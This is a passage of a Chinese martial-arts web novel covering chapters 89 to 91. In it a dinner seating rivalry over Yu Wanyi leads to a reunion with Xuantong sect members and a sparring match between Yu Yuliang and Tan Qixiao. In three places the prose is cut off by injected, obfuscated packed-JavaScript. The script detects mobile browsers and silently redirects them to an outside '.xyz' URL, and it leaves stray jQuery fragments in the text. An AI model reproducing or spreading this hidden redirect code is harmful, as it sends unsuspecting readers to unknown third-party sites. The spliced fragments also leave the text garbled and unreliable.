雨馀凉此前虽然想和鱼晚衣坐在一处,但担心此举太过明目张胆,被人看出猫腻,所以覃七霄问他时他说自己坐在哪里都可以。然而他没想到覃七霄居然这么……竟直接说要坐在鱼晚衣旁边。 覃七霄对鱼晚衣竟然是来真的。 雨馀凉心中警铃大作,而比武招亲时他就因为覃七霄的一句话有些被得罪。雨馀凉忍不了了,于是道:“我突然想起一些问题要问鱼姑娘,覃兄弟,我还是坐花青前辈和鱼姑娘之间的那个位置吧。” 覃七霄道:“嗷……行。”他走向邢勘,道:“邢勘大哥,你介意换个位置吗,刚刚鱼姑娘那手暗器功夫惊为天人,我想借着吃饭的机会跟鱼姑娘交流交流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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尹敕道:“正常情况下不都是熟人跟熟人坐一起?你看他们一开始坐的位置,那个邢勘大哥坐在鱼姑娘旁边,而姬花青和那个鱼姑娘之间的位置很明显就是留给雨馀凉的,剩下两个挨在一起的位置才是我们的。” 覃七霄道:“也没人规定非得这样吧……” 尹敕忍不住了,道:“你发什么神经?突然就跟那姓雨的小子较起劲来,还对一个认识没多久的女子大献殷勤!” 覃七霄纠正道:“我这不叫献殷勤,我这叫表达心意。” 要不是尹敕现在有求于覃七霄,他白眼早就翻到天上去了,尹敕对覃七霄恳求道:“七霄,好兄弟,你坐回来行不行?” 覃七霄挠挠头道:“你很奇怪耶,我想坐鱼姑娘旁边难道影响到你什么事了?” 尹敕见覃七霄说到这份上,也摊牌道:“我不跟姓姬的坐一起!”说着往饭厅一指。 覃七霄顺着尹敕手指的方向看去,此时酒楼中人来人往,越过重重人影,只见姬花青正垂目静静地喝茶。 覃七霄疑惑地看向尹敕道:“这有什么?那是花青姐啊,花青姐人很和善的,一起吃个饭而已,你紧张啥?” 尹敕突然显得很激动,道:“我没有紧张,我纯粹是讨厌她!” 覃七霄显然不想放弃坐在鱼晚衣身边的机会,道:“那……那你让那位邢勘大哥跟你换个位置?” 其实一开始覃七霄说要坐鱼晚衣身边时尹敕心中就大呼不妙,结果之后果然出现了尹敕预想的最糟糕的状况——雨馀凉也要坐在鱼晚衣旁边,而邢勘和姬花青已经坐下了,这样唯一空出的位置就是姬花青和邢勘之间的那个。 尹敕看覃七霄对鱼晚衣那个沉迷的样子估计很难将他说动,因此也不是没想过去问问邢勘能不能跟他换个位置。但他跟邢勘不熟,并且刚刚覃七霄已经让邢勘挪了一次了,而现在邢勘已经坐下了,已经在用他那个位置上的杯子喝酒了,尹敕觉得这个时候再去让别人换位置也太没礼貌。并且他跟邢勘换位置的话,对姬花青的不满也表现得太明显,他只是挨着姬花青坐紧张……呸,他就是单纯不想和姬花青坐一块而已。如果因为这个跟姬花青的关系搞得很僵也终究不好。所以最好的法子,还是让覃七霄放弃与雨馀凉的竞争,让眼下的位置重新调换一番。 尹敕道:“我求你了,你换回来!” 覃七霄打破了尹敕最后的希望,只听他道:“不换。”说着转身朝饭桌的方向走去。 留尹敕一个人在原地抓狂。 90. 临蓟(七) 被覃七霄拒绝后,尹敕无法,只得硬着头皮坐到姬花青旁边的那个座位上去。不过吃了一阵过后,他却发现情况似乎没他想的那么糟,虽然他靠近姬花青那半边身子上的汗毛一直是竖起来的,但尹敕却意外地发觉邢勘跟他甚是投缘。 而鱼晚衣、雨馀凉、覃七霄三人所在的方位简直称得上是暗流涌动。 覃七霄道:“所以,雨兄弟和花青姐认识的契机是花青姐救了雨兄弟?”他说罢,马上又用筷子指着一块鱼肉对鱼晚衣道:“鱼姑娘,这块肉没刺。” 鱼晚衣道:“我知道,谢谢。” 雨馀凉对覃七霄方才对他的提问做出回答:“不错。” 覃七霄道:“唔……我听说之后鱼姑娘也救过雨兄弟。雨兄弟,自己的武功一定要练起来,不然老让女孩子来救。” 覃七霄所说,正戳到雨馀凉痛处,后者又想起之前从敛安城出来后,被以连江万克礼为首的一群江湖人士围攻,鱼晚衣和姬花青为了救他双双负伤的情形。 雨馀凉无话可说,他虽对覃七霄不爽,却也在心里认可覃七霄方才所说的。 鱼晚衣却在这时道:“我不觉得女人救男人有什么问题。” 覃七霄笑道:“我也不觉得有问题,我是给雨兄弟建议,人是不可能永远依靠别人的,最终站在自己身边的,还是自己。雨兄弟,眼下你虽和花青姐走得很近,但花青姐也不可能永远护着你。” 关于这点,雨馀凉心知肚明,数月前姬花青刚答应教他武功时,就曾说过,她的最终目的地是临蓟,而雨馀凉也正是要在临蓟着手寻找自己的身世。 在跋涉了那么远的路程,遇见了那么多人和事后,他们现在已身在临蓟。 姬花青要做的事在临蓟办完了,而万一他也在临蓟找到了自己的身世,那么这段旅途也就告一段落。这之后呢?二人的人生在这里交汇,这之后是不是便要分开各自前行了? 也就是说,他和姬花青分别的日子或许已经近在眼前。 鱼晚衣道:“雨少侠没有依靠我,我救过他,他也救过我。他那时武功确实不好,却愿意舍命救我,若那个时候他的武功很好,可以很轻易就打败追杀我们的那些人,他救我,我虽然会谢他,却也不会像现在这样……这样感谢他了。”说着看向雨馀凉。 雨馀凉心道:“原来她一直记得。”心下一热,看向鱼晚衣。鱼晚衣对他一笑,雨馀凉眼眶突然有些湿润,也对着鱼晚衣笑起来。 两人之间细微的动作让覃七霄有些没趣,而鱼晚衣对雨馀凉有意无意的维护亦让覃七霄感到沮丧,但这却也让他抓住了把柄,于是对鱼晚衣道:“鱼姑娘,你让雨兄弟自己跟我说,别总是躲在别人后面。” 鱼晚衣道:“雨少侠性子谦和,自己救了别人的事,他都不会在人前说起,所以我来替他说。” 覃七霄还待要说什么,雨馀凉突然对鱼晚衣道:“鱼姑娘,这水晶包是你爱吃的,你多吃几个。” 鱼晚衣道:“嗯。” 饭桌的一头暗流涌动,可这暗流却没有淌到饭桌的另一边来。姬花青在旁边几人暗自较劲时,默默将各种精美菜肴堆进自己碗中,而尹敕用怨念的眼神看着覃七霄,道了声:“幼稚。”邢勘道:“同意。” 吃得差不多后,鱼晚衣和邢勘先行告辞,雨馀凉和覃七霄虽然不舍,但鱼晚衣说还有事,剩下的人也就不强留。 此时饭桌上便只剩雨馀凉、覃七霄、姬花青和尹敕四人。 尹敕装作要跟覃七霄说什么事的样子,十分自然地挪去了覃七霄旁边的座位。 这时从旁边的一桌传来人声:“魔教?当真么?” 那桌另一人忙道:“嘘!”他小心翼翼地环视了一下四周,最后对之前那人道:“把‘魔教’两个字说这么大声,你不要命了?” 之前那人这才意识到自己做了一件十分危险的事,忙伸手捂住自己的嘴。 从前也是有人在大庭广众之下大声说出了“魔教”二字,而不远处刚好有一名玄同教徒,玄同教中人厌恶这一蔑称,这名教徒当场便挖出了那人的一只眼。 另一人道:“当不当真,我也不知道,毕竟魔教神出鬼没的。” 之前那人压低了声音道:“不过水西卫氏和聊氏较量,关它魔教什么事?掺和进来对它有什么好处?” 另一人道:“谁知道呢,说不定是要趁卫氏和聊氏相斗,它来个渔翁得利,一举控制整个水西,就像他们之前那位教主裴秉延那样。” 之前那人道:“不过说实话,我翻看记录那段时期的文书,感觉裴秉延挟持他们武林盟主、控制水西的时候,水西武林还蛮有秩序,之前岑微明当掌盟那会,反倒乱糟糟的。”他叹了口气望向窗外,似乎陷入了无限的遐想:“不疑公子卫不疑是裴秉延的得意门生,裴秉延将卫不疑视如己出,卫不疑最终却与师父反目,和岑微明一起将裴秉延沉入了伏魔潭。这世间又有哪些情是真,哪些情是假呢?若人与人之间都是虚与委蛇,连最亲近的人都是如此,那这世界活着又有什么意思?” 另一人道:“你这多愁善感的毛病又犯了吧,卫不疑身为武林盟主,做什么事却都要看他师父的眼色,整天活在他师父的阴影下,裴秉延借着自己徒弟武林盟主的身份横行水西,肆意妄为,卫不疑想杀他不奇怪吧。” 之前那人道:“可就算卫不疑将他师父除去,他这个武林盟主不也还是要事事听从掌盟的安排?裴秉延在或不在又有什么区别呢?” 另一人道:“其中原委,只有这些人自己知道了,可惜这些秘密也已经随着他们一起埋入黄土之中了。”他想了想,道:“不,裴秉延是在水里。” 之前那人道:“这次水西势力大举侵入水南,不会把他们掌盟的那套规矩也带到水南来吧?以后我们就没有盟主,要称‘掌盟大人’了。” 另一人道:“只要不妨碍我明天买菜生火做饭,怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14414347|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么称呼未来水南武林的主人都无所谓。” 二人从时事聊到过去的历史,又从过去聊回现在。 在他们身后,姬花青、覃七霄、尹敕静静地听着,覃七霄端起茶杯喝了一口茶,尹敕用一根筷子扒拉着面前盘子里的菜,而姬花青则一手撑头,垂眼看着桌面,不知在想些什么。只有雨馀凉一会看看姬花青,一会偷觑覃尹二人,觉得自己似乎不该坐在这桌。 这张桌子上的人只有雨馀凉跟玄同教无甚干系。 先前鱼晚衣和邢勘还在时,覃七霄虽对鱼晚衣大显好感,却也没说自己是玄同教的五护法之一。当然,鱼晚衣和邢勘也没说起他们是聊氏九歌的人。 四人从酒楼出来后,在街上漫无目的地走着。 姬花青望着天空,突然问道:“七霄,这次教主派你们来临蓟是想做什么?除了你们,还派了谁来?” 覃七霄道:“这个嘛,花青姐,你现在已不是我教之人了,具体的情况我不方便多说。”他诚恳地望向姬花青:“抱歉啦。” 姬花青看着地下默然。 过了一会,姬花青又问道:“七霄,你今年多大了?十七是不是?不知我记错没有。” 覃七霄露出一个灿烂的笑容,道:“花青姐居然还记得我的年龄,不错,我今年是十七岁。” 姬花青抿嘴笑道:“馀凉也是十七,你们两个同岁呢。” 覃七霄看向雨馀凉,道:“是嘛?不知雨兄弟先前在何门何派学艺,这门派里的师父给人感觉不太行啊。” 雨馀凉听出覃七霄是在嘲他武功不济,但这会他已经不怎么在意这些了,道:“我从前所在那谷州刀派的师父都是乌合之众,比不上覃兄弟师从玄同教高人,年纪轻轻便能跻身贵教五护法之一,雨某自愧不如。” 姬花青道:“七霄,各人生长的环境不同,各人才能也不一样。” 覃七霄听雨馀凉这么说,又听姬花青点自己,也觉自己是有些无聊了,便不再说起这个话题。 先前在酒楼上听了邻桌那两人的谈话后,姬花青便有些神思不属,虽然她一直想的都是尽量避开玄同教的人,但此时不知为什么,她却想和身在玄同教的覃七霄和尹敕再待久一些。 或许正是因为姬花青这一路走来都有些恍神,不知不觉间,她就与覃七霄等人走入了一条幽僻的巷子中,小巷里回荡着四人的脚步声,而等她猛然回过神来时,竟惊觉自己四面八方都似有人! 姬花青停下步子。 随后,一道道人影从窄巷前方、后方、左右两边的屋檐上出现,来到姬花青等人跟前。 姬花青看向前方,又略微侧头看向自己后面,一旁雨馀凉也不断向四周张望。 姬花青将头转了回来,平视前方道:“是你们啊。”她顿了顿,“真是好久不见。” 在她身后,覃七霄道:“花青姐,你之前问我教中这次派了哪些人来临蓟,你面前的就是了。” 91. 临蓟(八) 姬花青说完后,前方四十来岁的男子先是一愣,随后朝姬花青的脸看了好一会,以不可思议的语气道:“姬花青?” 在他旁边,另一名身量甚高,体型健壮的女子也睁大了眼,道:“不错……是她。”嗓音颇低沉中性。这女子看上去比姬花青略大,但年龄应该不会超过三十。 姬花青、雨馀凉、覃七霄、尹敕身后站着的则是一名妆容精致、长发松松柔柔披在两肩的年轻女子与一名儒雅贵公子模样的年轻男子,这两人看上去倒是与姬花青差不多大。二人相互对视一眼,又同时看向姬花青。 雨馀凉将这一切看在眼中,又往两边屋檐上看去,只见右手边屋檐上站着一个少女,以及另一个二十多岁的年轻男子。这名男子跟站在雨馀凉等人身后贵公子模样的男子相比,眉眼更年轻青涩一些,穿着也更加朴实柔和。 而在左手边屋檐上,则是一名中年道人和一名三十岁左右的汉子,后者的模样和最开始说话那四十多岁中年汉子很有几分相似。 那少女和年轻男子,中年道人和汉子也都一脸惊讶,一会看向姬花青,一会面面相觑。 在场的所有人,姬花青都认识。 前面的中年男子是玄同教中护法鹿怀甫,在他旁边的女子则是北护法郗鸿杳。后面的一女一男分别是东护法冉苏眉、西护法邬襄。右边的少女姬花青本来看不出是谁,但见到她手腕上的镯子便心中了然,这少女正是甯元元。跟覃七霄一样,姬花青离教时她年纪也尚小,如今长大变了样,若不是靠她从小就戴在腕上的那镯子,姬花青还真认不出来。而在甯元元旁边的,是玄同教主康忱守的副手雷心主。 至于左边屋檐,中年道人是十二长老之一的花道人,那名汉子却是中护法鹿怀甫的胞弟鹿知聿,也位列十二长老之一。 这些从前在玄同教的同僚,姬花青都认了出来,偏偏之前在瑚庄时,总坛派来的一个是长大变了模样的覃七霄,一个是从分坛新调来总坛任十二长老的尹敕,导致姬花青在毫无防备的情况下与他们见了面,如今细细想来,怎么不是上天捉弄。 鹿怀甫道:“七霄,你怎么会和……她在一起?” 覃七霄叹了口气,道:“鹿伯伯,你们怎么这么快就到了?” 姬花青一开始以为是覃七霄和尹敕故意将她引来这个地方,现在看来,似乎不是这么回事,玄同教的这些人也不知道她在这,他们是来找覃七霄和尹敕,却没想到自己跟覃尹二人一起。 鹿怀甫道:“我们要避免路上出现什么意外绊住脚步,就打好提前量早出发了些时日,所幸这一路上顺风顺水,比预先估算达到的日子早了一些。”他说完,又对覃七霄道:“还没回答我的问题,反倒先问起我来了?你这孩子,真是越大越不像。” 屋檐上甯元元道:“他就是没规矩惯了,鹿伯伯,您还不知道他吗?” 覃七霄仰头看向甯元元,道:“甯元元!我可没惹你!真是丑人多作怪!” 甯元元听了哪里能忍,还待要说什么,鹿怀甫道:“够了!你们两个平日在教里斗嘴还不够,眼下这是什么场合,分不清轻重吗!”受到训斥,甯元元吐了吐舌,覃七霄忿忿看了甯元元一眼,将头别到一旁。 鹿怀甫随即看向姬花青,道:“阁下现在跟玄同教既无干系,那么我们井水不犯河水,这就请吧。”话语中意思,是要姬花青即刻离开此地,不再和玄同教内的人搅在一处。 姬花青大感疑惑,自己被玄同教的人发现了,他们竟然不把自己就地处决,也不把自己抓回去,而是让自己走? 一入玄同,终生不得脱离,否则只有死。这是每个玄同教中人都十分清楚的。她本已做好了进行一场恶斗的准备,同时也心内惙惙,若是同时对上这么多人,她倒真没把握全身而退。没想到鹿怀甫竟直接要她走,且其他人也没有表现出质疑。 姬花青一边心内惊疑不定,一边想,人还来得挺齐。 这时北护法郗鸿杳开口了,只听她道:“鹿护法,不过教主既已下了那命令,眼下也没有出现别的情况,我们也还是可以和她正常交往,不用将界线划得那么清吧。” 鹿怀甫张口正要说话,一道清泠泠凉冰冰的女声传入众人耳中:“怎么你们都围在这里?鹿护法,发生什么事了?” 鹿怀甫和郗鸿杳闻声后没有往后回头,而是直接转身垂首,微微躬身道:“大小姐!” 雨馀凉看向四周,发现不止鹿怀甫和郗鸿杳,就连覃七霄和尹敕,包括他们后方、左右屋檐上的玄同教之人,都对着前方做出相同的动作。而在众人恭敬朝向的方位,一个容貌、气质都绝佳的少女缓步走来。 这少女穿着一袭雪青色衫裙,皮肤极白皙细腻。 姬花青大气清纯,鱼晚衣娇美婀娜,而眼前这少女的美和前两者又不相同,又另有一番风姿。然而这少女绝美的脸上像覆了一层严霜,这是一种极刺眼、极凌厉,又冷到了极处的美。 那少女穿过鹿怀甫和郗鸿杳之间,一双美目定定看着姬花青。 也许是多年来的惯性使然,尽管姬花青已离开玄同教六年,此刻见了这少女,也仍是和其他玄同教众一样,躬身垂首道:“姬花青见过大小姐。” 这雪青衫裙的美貌少女正是玄同教主康忱守的独女,如今的玄同教大小姐,康容儿。 在场所有人都对康容儿毕恭毕敬,连姬花青都躬身行礼,这样一下就显得什么动作都没有的雨馀凉极其突兀。但他不是玄同教的人,实在没有理由与在场其他人做同样的事,雨馀凉有一种自己这只绵羊误闯了狼窝的感觉。 从方才出现在众人面前起,康容儿脸上就没有任何表情,此刻她依旧面无表情地看着姬花青,只见她一点丹唇轻启,道:“姬姐姐,好久不见。”她顿了顿,接着道:“虽然不知道你六年前因何离教,但我爹已经下令,只要你没有做损害我教的事,玄同教中其他人便不用管你。” 姬花青听了康容儿这番话,略微睁大了眼,她抬头看向康容儿,又看了看康容儿两边的郗鸿杳和鹿怀甫,表情似有些不可置信。 怪不得刚才郗鸿杳跟鹿怀甫说什么“没有出现别的情况”、“不用将界线划得那么清”等语,姬花青紧绷的神经一下便放松下来,同时她看了一眼覃七霄和尹敕,既然教主下了这样的命令,既然对她这种叛教之人不用杀无赦,既然就算教中知道了她的行踪也不会大举派人来追杀她,那么在瑚庄地牢时,她也就不必逼覃尹二人发誓没见过她了。 但为什么覃七霄和尹敕那个时候不说清楚,反而在自己面前像模像样地发誓? 覃七霄对上姬花青看向自己的眼神,略有些不自然。 覃七霄心里苦,他不是有意不告诉姬花青,在瑚庄地牢时,他本来是要跟姬花青说的,但尹敕制止了他。覃七霄明白尹敕的意思,那个时候他们尚不清楚姬花青的立场,若是姬花青还以为自己在玄同教的猎杀名单上,多少能镇住她一些,使她不敢过于轻举妄动,若是让她知道了玄同教已没有在追杀她,那么她做很多事便没有顾忌了。 虽然欺骗姬花青让覃七霄内心多多少少有点过意不去,但那时他和尹敕人在牢中,身中毒药,此种情形下,还是让姬花青有一些顾忌更好。 其实覃七霄也纳闷过教主下的这道命令,照理说,一旦入了玄同教,就决不能擅自脱离。这一规矩还是当年创立玄同教的教主裴秉延立下的,这位第一任教主尤其痛恨叛徒。如今距裴秉延生活的时期已过百年,可这一规矩仍完完全全地延续了下来,覃七霄才当上南护法那阵,就处理了两宗教众擅自脱离叛教的事,这些人无一例外全都被下令处死。 而当年姬花青一声招呼都没打人就消失得无影无踪,后来更是有消息说她与岑氏的人有过往来,按照以往的例子,姬花青这下是非死不可了。但奇怪的是,教主只给教中人下令:若姬花青没有与玄同教作对,那么便随她去。 可实际上,这道命令执行起来很难,假设一个玄同教众在教外行走时碰见姬花青,谁也不能明确地判断姬花青究竟有没有做损害玄同教的事,万一她是在暗中和玄同教为敌呢。 万一她真的在暗中做对玄同教不利的事,那么对她放任不管,对玄同教来说岂不是一个极大的隐患?尽管这样,教主却仍旧选择留她一命? 这种模糊的、下属听了也不知道具体怎执行的命令,让覃七霄等玄同教众有些摸不着头脑,并且他们隐隐察觉到,对于作为右使的姬花青擅自离教一事,就连教主自己也没想到,一时不知道要怎么办,所以才会下这种模糊的命令。 对包括覃七霄在内的玄同教众人来说,康忱守是位和善仁慈的领袖,而这样一个人对自己从小带大、唯一的亲传弟子下不了手,也在情理之中。 多年之后再见,覃七霄对姬花青的观感还是挺好的,毕竟后者在瑚庄救了他和搭档尹敕的命。但他不知道姬花青是否已经背叛了玄同教,若姬花青背叛了,那为什么冒着风险救他和尹敕?若没有背叛,又为什么不回教中?在瑚庄地牢时,他问过姬花青是否转投岑氏,那时姬花青回答“无论是玄同教还是岑氏,都是一样。”又是什么意思?所以她到底想做什么? 覃七霄怀念从前姬花青还在教中,大家一起完成任务、一起去山下镇子上的酒馆喝酒的日子。 或许白羊在一群大灰狼里还是太突兀,这时终于有人注意到雨馀凉了,那名叫甯元元的玄同教少女看着雨馀凉,道:“这是谁?” 姬花青还没来得及开口,覃七霄就大嘴巴道:“花青前辈在教这位小兄弟武功。” 在场的玄同教中人相互对视,随后又看向雨馀凉,雨馀凉虽然没从纷纷向自己射来的目光中感受到恶意,然而一时成为众人的焦点却也让他感到些许不自在。 甯元元歪头看着雨馀凉,眼里闪烁着好奇的光,道:“竟然是花青姐姐的徒弟!” 在这种情境下,姬花青也不好也不想解释雨馀凉不是她徒弟,她只是教后者武功云云了。况且到现在,姬花青已经解释得不耐烦了,毕竟来一个人就要误会一次。 徒弟就徒弟吧,她和雨馀凉知道是怎么回事就好。 鹿怀甫见那边众人都对雨馀凉感到好奇,转头对康容儿道:“大小姐,你不该一个人过来,白藏、玄英他们呢?这两个人怎么回事?” 康容儿道:“鹿护法,是我让他们别跟着我的。” 鹿怀甫摇头道:“大小姐,这趟从总坛出来,我们要保证你的安全。” 康容儿皱眉道:“我这次向爹请求到临蓟来,就是为了亲眼见证即将发生的巨变,不是让一堆人前前后后跟着我的。” 鹿怀甫的回答无懈可击:“就算身边跟着人,大小姐也可以见证江湖大事。”他说着,抬头对覃七霄等玄同教中人道:“诸位,我先护送大小姐回到住处。”他看了一眼姬花青,“……你们不要在外面逗留太久。”说毕转身,伴着康容儿离去。 左右两边屋檐上,鹿知聿、雷心主从屋檐上跳下,也随康容儿和鹿怀甫离开。鹿怀甫对康容儿道:“大小姐,呼延左使会在临蓟接应我们。” 冷若冰霜的少女容色一下生动了起来,如同雪山春晓,尽管只是一瞬,下一刻她便恢复了拒人于千里之外的样子:“是么。”然而过了一会,她还是忍不住道:“很久没见过他了,他什么时候来与我们会和?” 这一边,郗鸿杳、冉苏眉、邬襄、甯元元、花道人则向姬花青和雨馀凉聚拢。 郗鸿杳道:“花青,你竟然会收徒弟。” 冉苏眉笑道:“青青,你的徒弟长得好俊。” 邬襄道:“花青的徒弟,武功一定很厉害。” 花道人笑道:“这位小兄弟看上去跟七霄差不多的年纪,不知两个人谁更厉害?” 甯元元看了覃七霄一眼,将双臂抱在胸前,道:“肯定是人家厉害些。” 覃七霄看向甯元元,道:“那可对不起得很了,实不相瞒,武功么,确实是在下更胜一筹。” 甯元元道:“我才不信,你就吹吧。” 覃七霄见甯元元这种反应,突然起了证明自己的心思,对雨馀凉道:“雨兄弟,怎么样,要不要比试一番?” 自从刚才知道自己不是玄同教的追杀对象,姬花青跟这些前同僚在一起自在多了,然而眼下又生枝节,覃七霄竟想邀雨馀凉与他比武! 对于雨馀凉目前的水平,姬花青心知肚明,尽管跟他刚从谷州刀派出来时相比,已经进步了太多太多,可要对付覃七霄,仍然不够。 姬花青道:“七霄,我毕竟已不是玄同教的人,你们与我待在一起太久终究不好,我和馀凉这就先行离开了。” 覃七霄道:“花青姐,比武又要不了多长时间。” 姬花青无法,只得道:“馀凉才跟我习武不久,跟你从小就跟着你爹和哥哥练武不一样……” 雨馀凉却在这时道:“覃护法,我跟你打一场就是。” 姬花青愕然,转头看向雨馀凉,道:“馀凉……”她想说你不行的,但这句话实在不好说出口。 因为先前的事,雨馀凉对覃七霄一直憋着口气,此刻覃七霄向他发起了对决的邀请,他虽清楚自己与覃七霄之间的差距,但眼下好不容易有了正大光明比试的机会,雨馀凉不想放弃,也不想在覃七霄面前表现出退缩的样子,他看向姬花青,道:“花青前辈,没事的。” 姬花青虽然觉得不妥,但这既然是雨馀凉自己的决定,她也不好再干涉什么,只得道:“好罢。” 尹敕叹了口气,摇头道:“傻小子。” 于是众人离开窄巷,来到城外一片空地上。来的人除了这场比武的主角雨馀凉和覃七霄,还有姬花青和尹敕,此外,郗鸿杳、冉苏眉、邬襄、甯元元、花道人也乐得跟过来看热闹。 比试开始前,姬花青对雨馀凉和覃七霄道:“你们两个……”她的目光在二人之间来回,“点到为止。”她虽然是看着雨馀凉和覃七霄两个人说,但这句话听上去更多是对覃七霄说的。 覃七霄道:“花青姐,你变得婆婆妈妈了哦。放心吧,我不会伤到雨兄弟的。”他看向雨馀凉,“……不会伤得太严重。” 甯元元站在观战的一众人之间,对覃七霄喊道:“你就等着出丑吧!” 覃七霄嘴角一勾:“那你一定会失望!” 雨馀凉表情严肃,拔出背上的长刀,刀身对准覃七霄。 覃七霄见雨馀凉只有一把刀,对姬花青道:“花青姐,你没教雨兄弟剑法嘛?” 姬花青道:“馀凉之前的门派专修刀法。” 覃七霄道:“诶?是吗?那真是可惜了,毕竟刀剑合璧之法才是花青姐你武功的精髓嘛,我本来还想看看以自己现在的刀法能否对付呢。既然如此,我就陪雨兄弟的单刀玩玩吧。”覃七霄说完,上前便朝雨馀凉挥出一刀。 雨馀凉敢于应下挑战,不仅仅凭着一腔蛮勇,他知道覃七霄的武功远高于自己,但他在心中有应付覃七霄的对策。 然而覃七霄的攻势凶猛,一刀刀不断落下如暴雨砸窗,雨馀凉就算有想法,一时也难以施展。 覃七霄很强。之前在一旁看覃七霄与其他人打,雨馀凉就已知道覃七霄的厉害,如今亲身与之比斗,他才更深刻地体会到了这一点。 覃七霄跟之前遇到的所有敌人都不是一个级别,雨馀凉只能不断防守,被逼得简直喘不过气来。而当覃七霄的某一刀雨馀凉实在避不开时,后者便脚下蹬地往旁边跃出,先拉开和覃七霄的距离再说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14549159|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 覃七霄见雨馀凉跃开,也纵身跃起追赶过去,道:“一味躲闪是行不通的哟。”话音才落,他便已追到雨馀凉面前,覃七霄矮身出刀,刀刃由下而上向雨馀凉削去,雨馀凉身子后仰,堪堪躲开这一刀。覃七霄道:“还不出刀?让我看看你将花青姐的刀法学到几成?” 雨馀凉并不说话,也不被覃七霄的话所干扰,继续防守。 二人辗转腾挪,不断变换着位置,之后更是一路打到了姬花青以及玄同教众人所站之处,姬花青以及玄同教众人迅捷且不失从容地退开,为雨馀凉和覃七霄让出地方。 覃七霄一边打一边道:“我们还要再这样到什么时候?”不得不说,雨馀凉的防守功夫还是练得很到家的,无论覃七霄的攻势再如何猛烈,雨馀凉都未被伤到分毫。 然而这也是雨馀凉的极限了,他很想反攻,但被逼得完全没有机会。 覃七霄道:“喂,这样打下去很无聊……”他话还未说尽,雨馀凉一下抓住这个空隙,刀刃向前探出! 覃七霄道:“什么……!” “么”字的后半截被他吞了回去,此时日头西斜,雨馀凉的刀身映着金色的日光,覃七霄只觉自己的眼睛被耀眼的刀光刺得有些睁不开。 但覃七霄是玄同教的五护法之一,他的吃惊只是一瞬,应付这种情况对他来说绰绰有余,他正准备打起精神对付雨馀凉的这一刀,却讶异地发现,雨馀凉的这一招刀法他竟应付不来! 原来雨馀凉跟姬花青相处日久,已经逐渐摸清了姬花青的部分拆招思路,虽然姬花青同时也在教他,但因为雨馀凉基础不足,所以还没学到更加复杂高明的拆招方式。而覃七霄这些刀法招式,以雨馀凉现有的拆招能力是一招也拆不了。 但雨馀凉也看出,覃七霄使出的有几式刀法,他似乎是能用姬花青还没教给他的拆招方法破拆的。这些拆招方式,姬花青虽还未教他,但他曾看到姬花青在对付其他敌人时使过,因为十分巧妙,所以雨馀凉在第一次看到时就有了很深的印象,之后在他自己练习刀法时更是情不自禁地回忆并模仿,竟模仿了个大差不差出来。此刻他见覃七霄刚好用出能被他用这种方法拆解的一招,当下更不犹豫,直接以刀相迎。 姬花青看到这一幕,也有些惊讶。 随后雨馀凉的反击接踵而至,下一刀,又打了覃七霄个措手不及!这一刀正是之前于灵果寺,雨馀凉在观看姬花青和正觉和尚比武时,从正觉那专门应付魔教武功的棍法中衍化而来。覃七霄一刀将雨馀凉的这一刀荡开,道:“你比我想象的要厉害点嘛。”雨馀凉依旧不答,他看出覃七霄在挥开他这一刀时已经有些狼狈,那个正觉和尚没有说大话,这棍法对玄同教的人确实有用。他没有给覃七霄喘息的时间,再下一刀,竟是覃七霄自己的刀法! 姬花青看到这,嘴角不自觉地微微上扬。 覃七霄见雨馀凉使出自己的刀法,心头大震,也正因为是自己的刀法,所以覃七霄再熟悉不过,他清楚这一刀接下来会转向哪个方位,又在哪里暗伏后着,想都没想便出刀拆解。 但雨馀凉这一刀却跟覃七霄的“原版”不尽相同,覃七霄的拆解落了空,这下他的节奏彻底被打乱,不知道雨馀凉的刀接下来会划向哪里,眼看那一刀就要削中覃七霄侧脸,雨馀凉急忙收手,但刀尖还是浅浅划过了覃七霄的额头。 而雨馀凉这边也一塌糊涂,他虽学着姬花青将敌人的招数化为己用,但到底只是学了个样,模仿敌人的招式后对招式接下来的走向完全没有掌控能力,覃七霄的刀法对他来说还是复杂艰深了,雨馀凉刚使了个开头,自己的重心就不稳了,而拿刀的手也不知道往哪个方位划。而覃七霄以为雨馀凉会将自己那一整招刀法完完尽尽地使出来,也打起了十二万分的精神郑重其事地打算拆解,却没想到雨馀凉接下来的出刀完全乱了套,刀路根本没法预料,眼看他自己的刀要砍中雨馀凉,覃七霄也连忙缩手回刀,但雨馀凉的头还是撞上了他的刀尖,所幸覃七霄收刀快速及时,雨馀凉的额头也仅仅是被浅划了一下。 雨馀凉和覃七霄都收刀停了手,面对面地站着,俱捂着额头。 眼见二人似是受了伤,姬花青和玄同教众人上前察看。 甯元元道:“怎样?以后还说不说大话?这回挨教训了吧。” 覃七霄道:“闭嘴吧你,吵得我头疼。”他看向雨馀凉,道:“雨兄弟,这回是我托大了。” 雨馀凉听覃七霄这么说,也道:“哪里,覃护法武功高强,我完全不是对手。这次比武,我不过是用了些小聪明,才勉强打成这样。” 无论是雨馀凉还是覃七霄,都注意到对方要砍中自己时急忙收刀的动作,两人虽然之前有些小不愉快,但通过这次比武,也都了然对方是磊落之人。 